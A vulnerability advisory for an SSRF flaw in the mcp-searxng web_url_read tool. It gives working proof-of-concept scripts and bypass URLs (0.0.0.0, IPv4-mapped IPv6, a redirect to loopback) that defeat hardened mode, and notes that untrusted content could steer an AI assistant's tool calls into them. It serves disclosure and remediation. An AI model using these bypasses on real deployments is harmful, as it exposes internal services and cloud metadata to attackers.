CVE-2026-54689: Infoleak
Summary
mcp-searxng has a hardened-mode URL-reading feature intended to prevent weburlread from reaching private or internal network resources.
PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.
However, several other hardened-mode SSRF bypasses still appear to remain:
1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target. 2. 0.0.0.0 is not treated as an internal/special address. 3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.
With hardened mode enabled and private URLs not explicitly allowed, weburlread was still able to fetch and return content from a local loopback sentinel service in all three cases.
Tested configuration
bash MCPHTTPHARDEN=true MCPHTTPALLOWPRIVATEURLS unset
The MCP server was driven over stdio.
The test target was a harmless internal sentinel HTTP service bound to:
text 127.0.0.1:6789
The sentinel response contained:
text INTERNALSECRETDATAmcpsearxngssrfpath2
Relationship to PR #79
I tested PR #79 locally:
- PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79 - PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4 - Base issue class: CWE-918 / SSRF in weburlread - Hardened mode: enabled
Observed results:
text Case Result on PR #79 ------------------------------------------------------------- DNS hostname resolving to 127.0.0.1 blocked 0.0.0.0 BYPASS [::ffff:127.0.0.1] BYPASS redirect from non-private IP to 127.0.0.1 BYPASS
So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.
Root cause
1. Redirect targets are not re-validated
The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.
A non-private attacker-controlled first-hop URL can respond with:
http 302 Location: http://127.0.0.1:6789/secret
The request is then followed to loopback.
This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.
2. 0.0.0.0 is not treated as internal
0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.
In my test, this URL returned the sentinel from the local loopback service:
text http://0.0.0.0:6789/secret
3. IPv4-mapped IPv6 canonicalization bypass
The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:
text ::ffff:127.0.0.1
However, Node's WHATWG URL parser canonicalizes:
js new URL("http://[::ffff:127.0.0.1]/").hostname
to:
text [::ffff:7f00:1]
As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.
In my test, this URL returned the loopback sentinel:
text http://[::ffff:127.0.0.1]:6789/secret
Impact
This is a hardened-mode SSRF bypass.
The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.
In real deployments, the same class of issue could allow weburlread to reach:
- local admin panels bound to loopback; - Redis, Elasticsearch, or other local HTTP-like services; - internal HTTP APIs on private networks; - service mesh endpoints; - cloud metadata endpoints, depending on routing and environment.
This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger weburlread with one of these bypass URLs.
Proof of Concept
1. Build the PR #79 branch
bash cd /home/exouser/Desktop mkdir -p searxngpr79test cd searxngpr79test
git clone --depth 1 \ -b fix/cwe918-url-reader-ssrf-4676 \ https://github.com/sebastiondev/mcp-searxng.git pr79
cd pr79 git rev-parse HEAD
npm install --no-audit --no-fund npm run build
ls -l dist/index.js
Expected PR commit:
text e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
2. Start an internal sentinel service
This service represents an internal-only HTTP service reachable from the MCP server host.
bash cat > /tmp/searxngsentinelserver.py <<'PY' #!/usr/bin/env python3 import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789 SENTINEL = b"INTERNALSECRETDATAmcpsearxngssrfpath2"
class H(BaseHTTPRequestHandler): def doGET(self): body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>" self.sendresponse(200) self.sendheader("Content-Type", "text/html") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def logmessage(self, fmt, args): sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))
def servev4(): HTTPServer(("127.0.0.1", PORT), H).serveforever()
def servev6(): try: import socket class HTTPServerV6(HTTPServer): addressfamily = socket.AFINET6 HTTPServerV6(("::1", PORT), H).serveforever() except Exception as e: sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")
threading.Thread(target=servev4, daemon=True).start() servev6() PY
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true nohup python3 /tmp/searxngsentinelserver.py 6789 >/tmp/searxngsentinel.log 2>&1 & sleep 1
curl -sS http://127.0.0.1:6789/secret
Expected output contains:
text INTERNALSECRETDATAmcpsearxngssrfpath2
3. PoC A: 0.0.0.0
bash cat > /tmp/poc0000.py <<'PY' #!/usr/bin/env python3 import json import os import subprocess import time import sys from pathlib import Path
REPO = Path("/home/exouser/Desktop/searxngpr79test/pr79") SERVER = REPO / "dist" / "index.js" SENTINEL = "INTERNALSECRETDATAmcpsearxngssrfpath2"
ENV = { "MCPHTTPHARDEN": "true", "MCPHTTPAUTHTOKEN": "poc-token", "MCPHTTPALLOWEDORIGINS": "http://localhost:9999", }
def send(p, o): p.stdin.write((json.dumps(o) + "\n").encode()) p.stdin.flush()
def recv(p, wantid, timeout=20): end = time.time() + timeout while time.time() < end: line = p.stdout.readline() if not line: time.sleep(0.05) continue try: m = json.loads(line.decode()) except Exception: continue if m.get("id") == wantid: return m raise TimeoutError()
def main(): url = "http://0.0.0.0:6789/secret" print(f"[poc] hardened-mode readurl url = {url!r}")
p = subprocess.Popen( ["node", str(SERVER)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=str(REPO), env={os.environ, ENV}, )
try: send(p, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "0"} } }) recv(p, 1)
send(p, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} })
send(p, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "weburlread", "arguments": { "url": url, "maxLength": 400 } } })
r = recv(p, 2) finally: try: p.terminate() p.wait(timeout=3) except Exception: p.kill()
text = json.dumps(r).replace("\\\\", "").replace("\\", "") if SENTINEL in text: print("[poc] RESULT: BYPASS — sentinel returned") try: print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200])) except Exception: pass sys.exit(0)
print("[poc] RESULT: blocked / failed") print(json.dumps(r)[:500]) sys.exit(1)
if name == "main": main() PY
python3 /tmp/poc0000.py
Observed:
text [poc] hardened-mode readurl url = 'http://0.0.0.0:6789/secret' [poc] RESULT: BYPASS — sentinel returned
4. PoC B: IPv4-mapped IPv6
bash sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \ /tmp/poc0000.py > /tmp/pocipv4mappedipv6.py
python3 /tmp/pocipv4mappedipv6.py
Observed:
text [poc] hardened-mode readurl url = 'http://[::ffff:127.0.0.1]:6789/secret' [poc] RESULT: BYPASS — sentinel returned
5. PoC C: redirect from a non-private first-hop address to loopback
This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.
bash sudo ip addr add 198.51.100.1/32 dev lo
cat > /tmp/redirectorpublic.py <<'PY' #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(302) self.sendheader("Location", "http://127.0.0.1:6789/secret") self.sendheader("Content-Length", "0") self.endheaders()
def logmessage(self, args, kwargs): pass
HTTPServer(("198.51.100.1", 6790), H).serveforever() PY
fuser -k 6790/tcp 2>/dev/null || true nohup python3 /tmp/redirectorpublic.py >/tmp/searxngredirectorpublic.log 2>&1 & sleep 1
curl -sSL http://198.51.100.1:6790/jump
The curl sanity check should return the internal sentinel.
Now run the MCP request:
bash sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \ /tmp/poc0000.py > /tmp/pocredirectpublictoloopback.py
python3 /tmp/pocredirectpublictoloopback.py
Observed:
text [poc] hardened-mode readurl url = 'http://198.51.100.1:6790/jump' [poc] RESULT: BYPASS — sentinel returned
Cleanup
bash fuser -k 6789/tcp 6790/tcp 2>/dev/null || true sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true
Reproduction note
NodeHtmlMarkdown escapes to \, so the sentinel may appear in the MCP response as:
text INTERNAL\SECRET\DATA\\mcp\searxng\ssrf\path2
When grepping or matching the response, either match against the escaped form or normalize \ back to .
Expected behavior
When hardened mode is enabled and private URLs are not explicitly allowed, weburlread should not be able to fetch loopback or internal resources through:
- direct special-address literals; - IPv4-mapped IPv6 literals; - redirect chains; - hostnames that resolve to private or internal addresses.
Actual behavior
With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:
text http://0.0.0.0:6789/secret http://[::ffff:127.0.0.1]:6789/secret http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret
Suggested fix
A complete fix likely needs more than a connect-time DNS lookup guard.
Suggested changes:
- Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it. - Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public. - Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1]. - Apply private-address checks to IP literals directly, not only through DNS lookup hooks. - Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching. - Add regression tests for: - redirect to 127.0.0.1; - 0.0.0.0; - [::ffff:127.0.0.1]; - hostname resolving to 127.0.0.1; - decimal IPv4 normalization remaining blocked.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/mcp-searxngto a version that resolves this vulnerability.Fixed in 1.2.1 - Upgrade
Upgrade
mcp-searxngto a version that resolves this vulnerability.Fixed in e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4Patch #79 - Configuration
Ensure hardened mode is enabled in the MCP server configuration (set MCP_HTTP_HARDEN=true).
web_url_read (hardened-mode URL-reading feature) MCP_HTTP_HARDEN = true - Configuration
Do not allow private URLs: keep MCP_HTTP_ALLOW_PRIVATE_URLS unset when hardened mode is enabled.
web_url_read (hardened-mode URL-reading feature) MCP_HTTP_ALLOW_PRIVATE_URLS = unset - Configuration
Re-validate the URL policy for every redirect hop (Location) before the request is followed; redirects from an allowed first-hop URL to a loopback/internal URL should be blocked.
web_url_read (URL policy / internal address checks) redirect hop re-validation = enabled - Compensating control
Set redirect handling to not follow redirects automatically; use fetch/HTTP client option like redirect:"manual" and apply the same private/internal URL validation policy to every Location before following it (redirect targets are not re-validated in the vulnerable behavior described).
- Operational
If you were exposed using the vulnerable behavior, re-run your tests to confirm the SSRF bypasses are blocked after applying PR #79, including cases involving 0.0.0.0, IPv4-mapped IPv6 literals ([::ffff:127.0.0.1] and [::ffff:7f00:1]), and redirect chains that pivot to loopback.
Event History
Frequently Asked Questions
Does hardened mode fully block access to private or loopback services?
No. With MCP_HTTP_HARDEN=true and MCP_HTTP_ALLOW_PRIVATE_URLS unset, web_url_read could still retrieve content from a service bound to 127.0.0.1 through redirect handling, 0.0.0.0 handling, and IPv4-mapped IPv6 address handling.
What does an attacker need to exploit the issue?
An attacker needs to induce web_url_read to fetch a crafted URL. The tested bypasses use an allowed initial URL that redirects to an internal target, a 0.0.0.0 address, or an IPv4-mapped IPv6 literal that evades the private-address checks.
How can I determine whether my deployment is affected?
In a controlled environment, run with MCP_HTTP_HARDEN=true and without MCP_HTTP_ALLOW_PRIVATE_URLS, expose a harmless sentinel HTTP service on 127.0.0.1, and use web_url_read with each bypass pattern. Receiving the sentinel response through web_url_read confirms that internal content can be fetched and returned.